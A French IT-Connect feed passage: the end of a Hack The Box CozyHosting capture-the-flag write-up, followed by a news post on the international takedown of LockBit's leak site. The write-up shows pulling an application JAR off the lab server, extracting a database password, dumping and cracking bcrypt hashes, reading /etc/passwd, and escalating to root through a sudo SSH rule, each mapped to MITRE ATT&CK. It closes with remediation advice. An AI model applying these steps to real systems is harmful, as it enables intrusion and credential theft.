-rw-r--r-- 1 root root 60259688 Aug 11 00:45 cloudhosting-0.0.1.jarTechnique d'attaque (MITRE ATT&CK) : T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol
Après quelques recherches, je découvre le fichier "cloudhosting-0.0.1.jar", il s'agit probablement du site web qui expose le site vitrine vu précédemment. Je décide de l'exfiltrer du serveur pour étude en local :
app@cozyhosting:/app$ python3 -m http.server 8123
python3 -m http.server 8123
10.10.14.162 - "GET /cloudhosting-0.0.1.jar HTTP/1.1" 200 -
# Poste d'attaque
$ wget http://10.10.11.230:8123/cloudhosting-0.0.1.jarTechnique d'attaque (MITRE ATT&CK) : T1552.001 - Unsecured Credentials: Credentials In Files
Une archive JAR est un conteneur de fichiers Java, regroupant des classes et des ressources, facilitant le déploiement et l'exécution d'applications Java. Elle permet de compresser et d'organiser des éléments liés au code source notamment pour favoriser la portabilité et la distribution des programmes .
Une simple recherche via grep dans les fichiers composants de l'archive ".jar" nous permet de retrouver des identifiants correspondants à une base de données :
$ unzip cloudhosting-0.0.1.jar -d cloudhosting
$ grep "passw" -ri cloudhosting -C3
BOOT-INF/classes/application.properties-spring.datasource.platform=postgres
BOOT-INF/classes/application.properties-spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
BOOT-INF/classes/application.properties-spring.datasource.username=postgres
BOOT-INF/classes/application.properties:spring.datasource.password=Vg&nvzAQ7XxR Technique d'attaque (MITRE ATT&CK) : T1078.003 - Valid Accounts: Local Accounts
À la suite de notre découverte des services en écoute interne, nous avons identifié un service PostgreSQL. Nous pouvons probablement nous y authentifier avec les identifiants découverts :
app@cozyhosting:/app$ psql -h 127.0.0.1 -U postgres -c "\list"
psql -h 127.0.0.1 -U postgres -c "\list"
Password for user postgres: Vg&nvzAQ7XxRTechnique d'attaque (MITRE ATT&CK) : T1005 - Data from Local System
Une découverte des bases de données, tables et données accessibles nous permet de découvrir une table intéressante :
Cette table contient deux comptes utilisateur, ainsi que le hash de leur mot de passe.
select * from users;
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | AdminTechnique d'attaque (MITRE ATT&CK) : T1110.002 - Brute Force: Password Cracking
Nous utilisons à présent John The Ripper pour tenter de casser ces hash à l'aide du dictionnaire de mot de passe rockyou.txt :
$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt /tmp/y
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?) Le préfixe "$2a$" dans le contexte des hachages de mots de passe fait référence à la version "2a" de l'algorithme de hachage Blowfish utilisé avec la fonction de hachage de mots de passe bcrypt. Mais, c'est une information que John The Ripper sait traiter de façon autonome pour adapter son attaque.
Le cassage de hash de mot de passe bcrypt par dictionnaire avec John the Ripper implique l'utilisation d'une liste de mots prédéfinis (dictionnaire) pour tenter de trouver une correspondance avec les hachages bcrypt. John the Ripper génère les hachages correspondants aux mots du dictionnaire et compare ensuite avec le hash cible. Si les hashs correspondent, alors le hash est considéré comme cassé et l'on connait le mot de passe d'origine.
Bingo ! Nous parvenons à casser le hash du mot de passe de l'utilisateur "admin" !
Technique d'attaque (MITRE ATT&CK) : T1021.004 - Remote Services: SSH
Étant donné que nous avons un accès au serveur, nous pouvons accéder en lecture au fichier "/etc/passwd", ce qui nous permettra d'avoir une liste d'utilisateur sur lequel tester notre mot de passe :
app@cozyhosting:/app$ cat /etc/passwd |tail -n 4
cat /etc/passwd |tail -n 4
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/falseLe mot de passe découvert peut être utilisé pour se connecter en SSH avec le compte de l'utilisateur "josh" :
$ ssh [email protected]
josh@cozyhosting:~$ cat user.txt
7d7[REDACTED]ca5d3c56Technique d'attaque (MITRE ATT&CK) : T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
Nous pouvons maintenant, entre autres, lister les dérogations d'exécution via sudo accordées à cet utilisateur :
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
(root) /usr/bin/ssh *Intéressant, cet utilisateur peut exécuter la commande SSH en tant que root. Nous pouvons utiliser la ressource gtfobins.sh pour connaitre les éventuels abus existant sur cette commande : https://gtfobins.github.io/gtfobins/ssh/#sudo
Nous pouvons visiblement utiliser l'option "Proxycommand" pour exécuter une commande en tant que root. L'option ProxyCommand dans la commande SSH permet de spécifier une commande qui sera utilisée pour établir une connexion à un hôte distant. Elle est utile pour traverser un proxy/rebond avant d'atteindre la destination finale. Ici, nous utiliserons l'option pour avoir un shell interactif, encore une fois grâce à un chainage de commande :
Une fois de plus, nous parvenons à abuser de la dérogation de droit sudo pour exécuter autre chose que la commande autorisée. Cela nous permet d'obtenir les droits root sur le serveur.
Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :
| TTP (MITRE ATT&CK) | Détails |
| T1046 - Network Service Discovery | Découverte des services exposés avec uns can réseau via nmap |
| T1595 - Active Scanning: Vulnerability Scanning | Utilisation de nuclei et découverte des points d'entrée SpringBoot Actuator |
| T1190 - Exploit Public-Facing Application | Vol de session de l'application via Actuator |
| T1059.004 - Command and Scripting Interpreter: Unix Shell | Exploitation d'une RCE dans la fonctionnalité "/executessh" de l'espace authentifié du site vitrine et obtention d'un revershell |
| T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol | Exfiltration de l'archive ".jar" du site vitrine via HTTP |
| T1552.001 - Unsecured Credentials: Credentials In Files | Découverte d'identifiants de bases de données postgreSQL dans l'archive ".jar" |
| T1078.003 - Valid Accounts: Local Accounts | Authentification sur le service PostgreSQL local du système cible |
| T1005 - Data from Local System | Récupération des hashs des mots de passe des utilisateurs de l'application web en base de données |
| T1110.002 - Brute Force: Password Cracking | Cassage des hashs découverts avec John The Ripper, obtention des identifiants de l'utilisateur "admin" |
| T1021.004 - Remote Services: SSH | Authentification SSH avec l'utilisateur "josh" |
| T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching | Abus de la dérogation de droits sudo accordée à l'utilisateur josh sur la commande SSH. |
L'utilisation de nuclei nous a fait gagner un temps certains ici. Bien qu'il ne soit pas du tout recommandé de baser notre analyse et nos tests uniquement sur ce genre d'outils automatisés, il faut savoir en tirer parti, car ils présentent certains avantages. Notamment, ils peuvent rapidement tester des éléments très spécifiques autour d'une CVE (même ancienne) ou d'une mauvaise configuration. Ils peuvent aussi passer à côté de vulnérabilité très basiques qui dépendent plus du contexte applicatif. Il faut donc utiliser ces outils intelligemment...
Nous avons également vu dans cet exercice la dangerosité des vulnérabilités de type RCE (Remote Command Execution) et un exemple scolaire d'exploitation de celle-ci. Si l'on s'intéresse au code applicatif ayant mené à cette vulnérabilité (car nous avons l'archive ".jar" à présent), nous pouvons retrouver le code suivant :
Nous voyons ici l'utilisation de "Runtime.getRuntime().exec()" pour exécuter des commandes système en Java. Également, on remarque les fonctions "validateUserName", qui vérifie simplement la présence d'un espace, et "validateHost", qui repose sur une expression régulière et un pattern plus complexe (je n'ai pas précisément étudié le pattern), ce qui correspond à nos observations "boite noire" (sans le code sous les yeux).
Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :
Recommandation n°1 : la première recommandation est bien sûr de rendre inaccessible le point d'entrée "Actuator" aux visiteurs non authentifiés. Ce genre d'information ne doit être visibles qu'aux développeurs. Si celles-ci ne sont pas activement utilisées, il est recommandé de désactiver "Springboot Actuator" sur les environnements en production.
Recommandation n°2 : il est recommandé de renforcer la sécurité applicative, et notamment le contrôle des entrées utilisateurs sur la fonctionnalité "/executessh". La fonction "validateUsername" doit vérifier l'absence de tout caractère spécial susceptible de causer des erreurs ou d'être utilisés pour du chainage et de la substitution de commande. Des ressources de l'OWASP peuvent ici être mises en référence (OS Command Injection Defense Cheat Sheet, OWASP Testing Guide v4.2 - Testing for Command Injection). Pour prendre un peu de recul, la mise en place d'un pare-feu applicatif (WAF ou Web Application Firewall) peut également être recommandée. Celui-ci, s'il est bien configuré, permettra de freiner la démarche de l'attaquant sur les exploitations basiques telles qu'observées ici, voire de lever l'alerte auprès des équipes de sécurité.
Recommandation n°3 : la troisième recommandation porte encore une fois sur "sudo". Si non justifiée par un besoin métier, il est recommandé de supprimer la dérogation "sudo" en place, car la commande concernée peut être utilisée pour exécuter d'autres commandes avec les droits "root". Si elle est justifiée par un besoin métier, il peut être recommandé de passer un script ou un binaire (non modifiable bien entendu) qui restreindra l'utilisation des options de la commande SSH, voir contiendra uniquement quelques commandes pré-enregistrées. L'essentiel est de réduire la marge de manœuvre de l'utilisateur sur l'utilisation de la commande SSH. Le chapitre "6.3 Contrôle d'accès" du guide Recommandations de sécurité relatives à un système GNU/Linux de l'ANSSI contient un ensemble de bonnes pratiques autour de la configuration sudo.
J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord!
Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy
The post Hack The Box – Résoudre la box CozyHosting : outils, méthodes et recommandations pour se protéger first appeared on IT-Connect.
Nous ne sommes qu'au mois de février, et pourtant, il pourrait déjà s'agir du coup de l'année sur la scène de la cybersécurité ! Les autorités sont parvenues à mettre hors ligne le site de LockBit, qui est probablement le gang de cybercriminels le plus actif depuis plusieurs années. Faisons le point sur cette intervention !
Depuis le 19 février 2024, le site du gang de ransomware LockBit a été mis hors ligne ! Il était utilisé par les pirates comme vitrine puisqu'il servait à publier les noms des victimes, mais également les montants des rançons et les données volées dans le cadre des attaques.
Désormais, le site de LockBit ressemble à ceci :
La National Crime Agency du Royaume-Uni s'est exprimée sur le sujet : "La NCA peut confirmer que les services de LockBit ont été interrompus à la suite d'une action internationale. Il s'agit d'une opération en cours et en développement."
En effet, les forces de l'ordre et organismes de 11 pays sont à l'origine de cette opération, nommée officiellement l'opération Cronos et menée à l'internationale. En effet, la France a participé par l'intermédiaire de la Gendarmerie Nationale, mais elle n'était pas seule puisque le FBI était aussi de la partie, accompagné par l'Allemagne, le Japon, la Suède, le Canada, ou encore la Suisse.
D'après le membre LockBitSupp, qui serait à la tête de LockBit et qui s'est exprimé par l'intermédiaire du service de messagerie Tox, le FBI est parvenu à accéder aux serveurs de LockBit à l'aide d'un exploit PHP. Les forces de l'ordre sont également parvenues à mettre hors ligne l'interface dédiée aux affiliés de LockBit. Un message indique que le code source de LockBit a pu être saisi (celui du ransomware ?), ainsi que des conversations et des informations sur les victimes.
Pour rappel, le gang de ransomware LockBit est à l'origine de plusieurs grandes cyberattaques, y compris en France :
Reste à savoir quel sera l'impact réel de cette opération sur les activités malveillantes menées par le gang de cybercriminels LockBit. N'oublions pas que LockBit est une véritable organisation criminelle, très bien organisée, avec des processus clairs, etc...
Les autorités devraient s'exprimer prochainement sur le sujet. Nous pouvons les féliciter pour cet excellent travail effectué dans la lutte contre le cybercrime !
The post Ransomware : une opération internationale met à l’arrêt les serveurs de LockBit ! first appeared on IT-Connect.
